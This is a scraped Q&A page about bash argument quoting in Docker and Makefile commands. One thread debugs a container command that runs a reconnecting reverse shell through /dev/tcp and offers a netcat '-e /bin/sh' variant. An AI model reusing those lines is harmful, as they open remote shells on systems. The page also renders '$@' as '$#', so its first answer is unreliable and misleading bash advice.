Function that uses all arguments in bash? [duplicate] - bash

This question already has answers here:
Propagate all arguments in a Bash shell script
(12 answers)
Closed 2 years ago.
I'm trying to use all arguments from my function like this
function docker_run {
docker run \
-it --rm \
--entrypoint "" \
--volume "$(pwd):/${repo}" \
--workdir "/${repo}" \
alpine/git:v2.26.2 \
"$*"
}
docker_run sh -c "git reset && git add --a && git status"
this gives the error:
docker: Error response from daemon: OCI runtime create failed: container_linux.go:346: starting container process caused "exec: "sh -c git reset && git add --a && git status": executable file not found in $PATH": unknown.
if I remove quotes around $* the error is:
usage: git [--version] [--help] [-C ]...
is *$ the correct variable to use? ideally I'd want docker_run to work with any possible argument combination

If you want to use all arguments, you should use $# and not $*. $# is special in that it's array-like, so when you put it in quotes it expands to all arguments. $* is a string that joins the arguments with spaces, so it globs into one argument.

Related

Passing Variables in Makefile

I'm using a Makefile to run various docker-compose commands and I'm trying to capture the output of a script run on my local machine and pass that value to a Docker image.
start-service:
VERSION=$(shell aws s3 ls s3://redact/downloads/1.2.3/) && \
docker-compose -f ./compose/docker-compose.yml run \
-e VERSION=$$(VERSION) \
connect make run-service
When I run this I can see the variable being assigned but it still errors. Why is the value not getting passed into the -e argument:
VERSION=1.2.3-build342 && \
docker-compose -f ./compose/docker-compose.yml run --rm \
-e VERSION?=$(VERSION) \
connect make run-connect
/bin/sh: VERSION: command not found
You're mixing several different Bourne shell and Make syntaxes here. The Make $$(VERSION) translates to shell $(VERSION), which is command-substitution syntax; GNU Make $(shell ...) generally expands at the wrong time and isn't what you want here.
If you were writing this as an ordinary shell command it would look like
# Set VERSION using $(...) substitution syntax
# Refer to just plain $VERSION
VERSION=$(aws s3 ls s3://redact/downloads/1.2.3/) && ... \
-e VERSION=$VERSION ... \
So when you use this in a Make context, if none of the variables are Make variables (they get set and used in the same command), just double the $ to $$ not escape them.
start-service:
VERSION=$$(aws s3 ls s3://redact/downloads/1.2.3/) && \
docker-compose -f ./compose/docker-compose.yml run \
-e VERSION=$$VERSION \
connect make run-service

Bash redirection doesn't work on container creation: "can't create /dev/tcp/<ip>/<port>: nonexistent directory"

I am trying to create a container that connects to a specific IP and port but it doesn't work for me with bash, only with regular shell.
When I create the container with bash redirection like that:
docker run -it alpine sh -c 'apk update && apk add bash && while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done'
I am getting the following errors:
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
sh: can't create /dev/tcp/172.17.0.64/6666: nonexistent directory
But if I will create it separately like that:
$ docker run -it alpine sh -c 'apk update && apk add bash; bash'
bash-4.4# while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done
It will work.
I read this similar case but he wrote it should work from vesrion 2+ and I have 4.4.
OK, I solved it, it was issue with brackets, I needed to call bash with -c and then run the command inside for it to recognize it:
docker run -it alpine sh -c 'apk update && apk add bash && bash -c "while true; do bash -i >& /dev/tcp/172.17.0.22/6666 0>&1; sleep 2; done"'
By the way, the workaround was just to use the shell like that:
sh -c while true; do nc 172.17.0.22 6666 -e /bin/sh; sleep 2; done

Bash - Single Quotes Being Added to Spaces [duplicate]

This question already has answers here:
Reading quoted/escaped arguments correctly from a string
(4 answers)
Bash doesn't parse quotes when converting a string to arguments
(5 answers)
Bash inserting extra, incorrect single quotes when quoting argument list
(2 answers)
Closed 3 years ago.
I have the following:
test.ini
BUILD_ARGS='--build-arg user="test user" --build-arg pass=testPass'
test.sh
#!/bin/bash
set -x
source test.ini
docker build -t test:test ${BUILD_ARGS} .
Output of test.sh
+ source test.ini
++ BUILD_ARGS='--build-arg smb_user="test user" --build-arg smb_pass=testPass '
+ docker build -t test:test --build-arg 'user="test' 'user"' --build-arg pass=testPass .
Why are extra single quotes being added in between "test" and "user"? I would expect the command to be executed as:
docker build -t test:test --build-arg user="test user" --build-arg pass=testPass .
Arguments needs to be constructed as an array:
BUILD_ARGS=(--build-arg user="test user" --build-arg pass="testPass")
docker build -t test:test "${BUILD_ARGS[#]}"

Source script on interactive shell inside Docker container

I want to open a interactive shell which sources a script to use the bitbake environment on a repository that I bind mount:
docker run --rm -it \
--mount type=bind,source=$(MY_PATH),destination=/mnt/bb_repoistory \
my_image /bin/bash -c "cd /mnt/bb_repoistory/oe-core && source build/conf/set_bb_env.sh"
The problem is that the -it argument does not seem to have any effect, since the shell exits right after executing cd /mnt/bb_repoistory/oe-core && source build/conf/set_bb_env.sh
I also tried this:
docker run --rm -it \
--mount type=bind,source=$(MY_PATH),destination=/mnt/bb_repoistory \
my_image /bin/bash -c "cd /mnt/bb_repoistory/oe-core && source build/conf/set_bb_env.sh && bash"
Which spawns an interactive shell, but none of the macros defined in set_bb_env.sh
Would there be a way to provide a tty with the script properly sourcered ?
The -it flag is conflicting with the command to run in that you're telling docker to create the pseudo-terminal (ptty), and then running a command in that terminal (bash -c ...). When that command finishes, then the run is done.
What some people have done to work around this is to only have export variables in their sourced environment, and the last command would be exec bash. But if you need aliases or other items that aren't inherited like that, then your options are a bit more limited.
Instead of running the source in a parent shell, you could run it in the target shell. If you modified your .bash_profile to include the following line:
[ -n "$DOCKER_LOAD_EXTRA" -a -r "$DOCKER_LOAD_EXTRA" ] && source "$DOCKER_LOAD_EXTRA”
and then had your command be:
... /bin/bash -c "cd /mnt/bb_repository/oe-core && DOCKER_LOAD_EXTRA=build/conf/set_bb_env.sh exec bash"
that may work. This tells your .bash_profile to load this file when the env variable is already set, but not otherwise. (There can also be the -e flag on the docker command line, but I think that sets it globally for the entire container, which is probably not what you want.)

Bash Command as Bash Command Argument

I have a daemonised Docker container. I can execute multiple bash commands in one go as current user in that container like this:
docker exec -it <container_ID> /bin/bash -c "pwd; cd src; pwd"
I now need to do this through a bash script. The script is simple:
#!/usr/bin/env bash
# Here I do stuff to acquire the container_ID
docker exec -it <container_ID> -user $(id -u):$(id -g) $#
And then I pass arguments to the script, like this:
./run_in_container.sh /bin/bash -c "pwd; cd src; pwd"
Which does not work as expected, because the quotes are stripped, and what docker exec gets is /bin/bash -c pwd; cd src; pwd. So I try the following:
./run_in_container.sh /bin/bash -c '"pwd; cd src; pwd"'
And I get this error message:
cd: -c: line 0: unexpected EOF while looking for matching `"'
cd: -c: line 1: syntax error: unexpected end of file
What would be the correct way of doing this?
I doubt this is very important information in this case, but I am using Gnu bash 4.3.11.
Use quotes around $#:
docker exec -it <container_ID> -user $(id -u):$(id -g) "$#"

Resources